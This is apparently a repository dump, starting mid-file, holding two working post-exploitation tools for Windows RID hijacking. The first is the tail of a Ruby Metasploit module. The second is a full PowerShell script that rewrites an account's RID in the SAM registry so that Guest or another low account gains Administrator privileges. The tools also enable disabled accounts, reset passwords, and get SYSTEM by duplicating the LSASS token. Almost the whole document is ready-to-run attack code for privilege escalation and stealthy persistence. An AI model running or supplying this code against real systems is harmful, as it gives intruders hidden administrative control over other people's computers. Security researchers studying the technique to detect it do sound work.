register_options(\n      [\n        OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),\n        OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),\n        OptString.new('USERNAME', [false, 'User to set the defined RID.']),\n        OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),\n        OptInt.new('RID', [true, 'RID to set to the specified account.', 500])\n      ]\n    )\n  end\n\n  def getsystem\n    results = session.priv.getsystem\n    if results[0]\n      return true\n    else\n      return false\n    end\n  end\n\n  def get_name_from_rid(reg_key, rid, names_key)\n    names_key.each do |name|\n      skey = registry_getvalinfo(reg_key + \"\\\\Names\\\\#{name}\", \"\")\n      rid_user = skey['Type']\n      return name if rid_user == rid\n    end\n    return nil\n  end\n\n  def get_user_rid(reg_key, username, names_key)\n    names_key.each do |name|\n      next unless name.casecmp(username).zero?\n      print_good(\"Found #{name} account!\")\n      skey = registry_getvalinfo(reg_key + \"\\\\Names\\\\#{name}\", \"\")\n      rid = skey['Type']\n      if !skey\n        print_error(\"Could not open user's key\")\n        return -1\n      end\n      return rid\n    end\n    return -1\n  end\n\n  def check_active(fbin)\n    if fbin[0x38].unpack(\"H*\")[0].to_i != 10\n      return true\n    else\n      return false\n    end\n  end\n\n  def swap_rid(fbin, rid)\n    # This function will set hex format to a given RID integer\n    hex = [format(\"%04x\", rid).scan(/.{2}/).reverse.join].pack(\"H*\")\n    # Overwrite new RID at offset 0x30\n    fbin[0x30, 2] = hex\n    return fbin\n  end\n\n  def run\n    # Registry key to manipulate\n    reg_key = 'HKLM\\\\SAM\\\\SAM\\\\Domains\\\\Account\\\\Users'\n\n    # Checks privileges of the session, and tries to get SYSTEM privileges if needed.\n    print_status(\"Checking for SYSTEM privileges on session\")\n    if !is_system?\n      if datastore['GETSYSTEM']\n        print_status(\"Trying to get SYSTEM privileges\")\n        if getsystem\n          print_good(\"Got SYSTEM privileges\")\n        else\n          print_error(\"Could not obtain SYSTEM privileges\")\n          return\n        end\n      else\n        print_error(\"Session is not running with SYSTEM privileges. Try setting GETSYSTEM \")\n        return\n      end\n    else\n      print_good(\"Session is already running with SYSTEM privileges\")\n    end\n\n    # Checks the Windows Version.\n    wver = sysinfo[\"OS\"]\n    print_status(\"Target OS: #{wver}\")\n\n    # Load the usernames from SAM Registry key\n    names_key = registry_enumkeys(reg_key + '\\\\Names')\n    unless names_key\n      print_error(\"Could not access to SAM registry keys\")\n      return\n    end\n\n    # If username is set, looks for it in SAM registry key\n    user_rid = -1\n    username = datastore['USERNAME']\n    if datastore['GUEST_ACCOUNT']\n      user_rid = 0x1f5\n      print_status(\"Target account: Guest Account\")\n      username = get_name_from_rid(reg_key, user_rid, names_key)\n    else\n      if datastore['USERNAME'].to_s.empty?\n        print_error(\"You must set an username or enable GUEST_ACCOUNT option\")\n        return\n      end\n      print_status('Checking users...')\n      user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)\n    end\n\n    # Result of the RID harvesting\n    if user_rid == -1\n      print_error(\"Could not find the specified username\")\n      return\n    else\n      print_status(\"Target account username: #{username}\")\n      print_status(\"Target account RID: #{user_rid}\")\n    end\n\n    # Search the Registry associated to the user's RID and overwrites it\n    users_key = registry_enumkeys(reg_key)\n    users_key.each do |r|\n      next if r.to_i(16) != user_rid\n      f = registry_getvaldata(reg_key + \"\\\\#{r}\", \"F\")\n      if check_active(f)\n        print_status(\"Account is disabled, activating...\")\n        f[0x38] = [\"10\"].pack(\"H\")\n        print_good(\"Target account enabled\")\n      else\n        print_good(\"Target account is already enabled\")\n      end\n\n      print_status(\"Overwriting RID\")\n      # Overwrite RID to specified RID\n      f = swap_rid(f, datastore['RID'])\n\n      open_key = registry_setvaldata(reg_key + \"\\\\#{r}\", \"F\", f, \"REG_BINARY\")\n      unless open_key\n        print_error(\"Can't write to registry... Something's wrong!\")\n        return -1\n      end\n      print_good(\"The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}\")\n    end\n    # If set, changes the specified username's password\n    if datastore['PASSWORD']\n      print_status(\"Setting #{username} password to #{datastore['PASSWORD']}\")\n      cmd = cmd_exec('cmd.exe', \"/c net user #{username} #{datastore['PASSWORD']}\")\n      vprint_status(cmd.to_s)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/powershell/Invoke-RIDHijacking.ps1",
    "content": "#Requires -Version 2\r\n\r\nfunction Invoke-RIDHijacking {\r\n\r\n<#\r\n\r\n.SYNOPSIS\r\nThis script will create an entry on the target by modifying some properties of an existing account.\r\nIt will change the account attributes by setting a Relative Identifier (RID), which should be owned \r\nby one existing account on the destination machine.\r\n\r\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to \r\nauthenticate with one known account credentials (like GUEST account), and access with the privileges \r\nof another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\r\n    \r\nAuthor: Sebastian Castro @r4wd3r. E-mail: r4wd3r@gmail.com. Twitter: @r4wd3r.\r\nLicense: BSD 3-Clause\r\n\r\n.DESCRIPTION\r\nThe RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner\r\nby modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges. \r\n\r\n.PARAMETER User\r\nUser account to use as the hijacker. If -UseGuest, this parameter will be ignored.\r\n\r\n.PARAMETER Password\r\nPassword value to set for the hijacker account.\r\n\r\n.PARAMETER RID \r\nRID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.\r\n\r\n.PARAMETER UseGuest\r\nSet GUEST built-in account as the destination of the privileges to be hijacked.\r\n\r\n.PARAMETER Enable\r\nEnable the hijacker account via registry modification.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500\r\nSet Administrator privileges to alice custom user. \r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1\r\nSet Administrator privileges to alice custom user and set new password for alice.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable\r\nSet Administrator privileges to alice custom user, set new password for alice and enable alice's account.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500\r\nSet Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500 -Password Password1\r\nSet Administrator privileges to Guest Account and setting new password for Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001\r\nSet custom account privileges to Guest Account. A custom local user with RID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001 -Password Password1\r\nSet custom account privileges to Guest Account and set new password for Guest. A custom local user with \r\nRID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable\r\nSet custom account privileges to alice custom user, set new password for alice and enable alice's account. \r\nA custom local user with RID 1002 should exist.\r\n\r\n.NOTES\r\nElevates privileges with LSASS token duplication:\r\nhttps://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980\r\nAccess to local users data stored in registry based on Get-LocalUsersInfo\r\nhttps://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990\r\n\r\n\r\n.LINK\r\nhttps://r4wsec.com/notes/rid_hijacking/\r\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\r\nhttps://github.com/r4wd3r/RID-Hijacking\r\n\r\n#>\r\n  [CmdletBinding()] param(\r\n    [Parameter(Position = 0,Mandatory = $False)]\r\n    [string]\r\n    $User,\r\n\r\n    [string]\r\n    $Password,\r\n\r\n    [switch]\r\n    $UseGuest,\r\n\r\n    [ValidateRange(500,65535)]\r\n    [int]\r\n    $RID = 500,\r\n\r\n    [switch]\r\n    $Enable\r\n  )\r\n\r\n  begin {\r\n    # Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.\r\n    Write-Verbose \"Checking for SYSTEM privileges\"\r\n    if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {\r\n      Write-Output \"[+] Process is already running as SYSTEM\"\r\n    }\r\n    else {\r\n      try {\r\n        Write-Verbose \"Trying to get SYSTEM privileges\"\r\n        Enable-TSDuplicateToken\r\n        Write-Output \"[+] Elevated to SYSTEM privileges\"\r\n      }\r\n      catch {\r\n        throw \"Administrator or SYSTEM privileges are required\"\r\n      }\r\n    }\r\n\r\n    # Obtains the needed registry values for each local user\r\n    $localUsers = Get-UserKeys\r\n    $currentUser = $null\r\n  }\r\n\r\n  process {\r\n\r\n    # Set to currentUser the account to be used as the hijacker.\r\n    Write-Verbose \"Checking users...\"\r\n    if ($UseGuest) {\r\n      $currentUser = $localUsers | Where-Object { $_.RID -eq 501 }\r\n    }\r\n    else {\r\n      if ($User) {\r\n        $currentUser = $localUsers | Where-Object { $_.UserName -contains $User }\r\n      }\r\n    }\r\n\r\n    # Verifies if the entered account exists.\r\n    if ($currentUser) {\r\n      \"[+] Found {0} account\" -f ($currentUser.UserName)\r\n      \"[+] Target account username: {0}\" -f $currentUser.UserName\r\n      \"[+] Target account RID: {0}\" -f $currentUser.RID\r\n    }\r\n    else {\r\n      throw \"User does not exists in system\"\r\n    }\r\n\r\n    # Creates a copy of the user's F REG_BINARY with requested modifications\r\n    $FModified = New-Object Byte[] $currentUser.F.length\r\n    for ($i = 0; $i -lt $currentUser.F.length; $i++) {\r\n      if ($Enable -and ($i -eq 56)) {\r\n        $FModified[$i] = 20\r\n        continue\r\n      }\r\n      # Sets the new RID in the F REG_BINARY copy\r\n      if ($RID -and ($i -eq 48)) {\r\n        $hexRid = [byte[]][BitConverter]::GetBytes($RID)\r\n        $FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]\r\n        $i++\r\n        continue\r\n      }\r\n      $FModified[$i] = $currentUser.F[$i]\r\n    }\r\n\r\n    \"[*] Current RID value in F for {0}: {1:x2}{2:x2}\" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])\r\n    \"[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} \" -f ($currentUser.UserName,$FModified[49],$FModified[48])\r\n\r\n    # Writes changes to Registry\r\n    $fPath = \"HKLM:\\SAM\\SAM\\Domains\\Account\\Users\\{0:x8}\" -f $currentUser.RID\r\n\r\n    try {\r\n      Write-Verbose \"Writing changes to registry: $fPath\"\r\n      Set-ItemProperty -Path $fPath -Name F -Value $FModified\r\n    }\r\n    catch {\r\n      throw \"Error writing in registry. Path: $fPath\"\r\n    }\r\n\r\n    if ($Enable) {\r\n      Write-Output \"[+] Account has been enabled\"\r\n    }\r\n\r\n    if ($Password) {\r\n      Write-Output \"[*] Setting password to user...\"\r\n      net user $currentUser.UserName $Password\r\n      Write-Output \"[+] Password set to $Password\"\r\n    }\r\n    \"[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}\" -f ($currentUser.UserName,$currentUser.RID)\r\n  }\r\n}\r\n\r\nfunction Get-UserName ([byte[]]$V) {\r\n  if (-not $V) { return $null };\r\n  $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;\r\n  $len = [BitConverter]::ToInt32($V[0x10..0x13],0);\r\n  return [Text.Encoding]::Unicode.GetString($V,$offset,$len);\r\n}\r\n\r\nfunction Get-UserKeys {\r\n  Get-ChildItem HKLM:\\SAM\\SAM\\Domains\\Account\\Users |\r\n  Where-Object { $_.PSChildName -match \"^[0-9A-Fa-f]{8}$\" } |\r\n  Add-Member AliasProperty KeyName PSChildName -Passthru |\r\n  Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue(\"V\")) } -Passthru |\r\n  Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |\r\n  Add-Member ScriptProperty F { [byte[]]($this.GetValue(\"F\")) } -Passthru |\r\n  Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue(\"F\")[0x30..0x34],0) } -Passthru\r\n}\r\n\r\nfunction Enable-TSDuplicateToken {\r\n\r\n  $signature = @\"\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n     public struct TokPriv1Luid\r\n     {\r\n         public int Count;\r\n         public long Luid;\r\n         public int Attr;\r\n     }\r\n\r\n    public const int SE_PRIVILEGE_ENABLED = 0x00000002;\r\n    public const int TOKEN_QUERY = 0x00000008;\r\n    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;\r\n    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;\r\n\r\n    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;\r\n    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;\r\n    public const UInt32 TOKEN_DUPLICATE = 0x0002;\r\n    public const UInt32 TOKEN_IMPERSONATE = 0x0004;\r\n    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;\r\n    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;\r\n    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;\r\n    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;\r\n    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);\r\n    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\r\n      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\r\n      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\r\n      TOKEN_ADJUST_SESSIONID);\r\n\r\n    public const string SE_TIME_ZONE_NAMETEXT = \"SeTimeZonePrivilege\";\r\n    public const int ANYSIZE_ARRAY = 1;\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID\r\n    {\r\n      public UInt32 LowPart;\r\n      public UInt32 HighPart;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID_AND_ATTRIBUTES {\r\n       public LUID Luid;\r\n       public UInt32 Attributes;\r\n    }\r\n\r\n\r\n    public struct TOKEN_PRIVILEGES {\r\n      public UInt32 PrivilegeCount;\r\n      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]\r\n      public LUID_AND_ATTRIBUTES [] Privileges;\r\n    }\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int\r\n        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);\r\n\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n    [return: MarshalAs(UnmanagedType.Bool)]\r\n    public static extern bool SetThreadToken(\r\n      IntPtr PHThread,\r\n      IntPtr Token\r\n    );\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     [return: MarshalAs(UnmanagedType.Bool)]\r\n      public static extern bool OpenProcessToken(IntPtr ProcessHandle, \r\n       UInt32 DesiredAccess, out IntPtr TokenHandle);\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError = true)]\r\n    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);\r\n\r\n    [DllImport(\"kernel32.dll\", ExactSpelling = true)]\r\n    public static extern IntPtr GetCurrentProcess();\r\n\r\n    [DllImport(\"advapi32.dll\", ExactSpelling = true, SetLastError = true)]\r\n     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,\r\n     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);\r\n\"@\r\n\r\n  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())\r\n  if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {\r\n    throw \"Run the Command as an Administrator\"\r\n    break\r\n  }\r\n\r\n  Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv\r\n  $adjPriv = [AdjPriv.AdjPriv]\r\n  [long]$luid = 0\r\n\r\n  $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid\r\n  $tokPriv1Luid.Count = 1\r\n  $tokPriv1Luid.Luid = $luid\r\n  $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED\r\n\r\n  $retVal = $adjPriv::LookupPrivilegeValue($null,\"SeDebugPrivilege\",[ref]$tokPriv1Luid.Luid)\r\n\r\n  [IntPtr]$htoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)\r\n\r\n\r\n  $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES\r\n  $retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)\r\n\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n    break\r\n  }\r\n\r\n  $process = (Get-Process -Name lsass)\r\n  [IntPtr]$hlsasstoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)\r\n\r\n  [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero\r\n  $retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)\r\n\r\n  $retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n  }\r\n}\r\n"
  }
]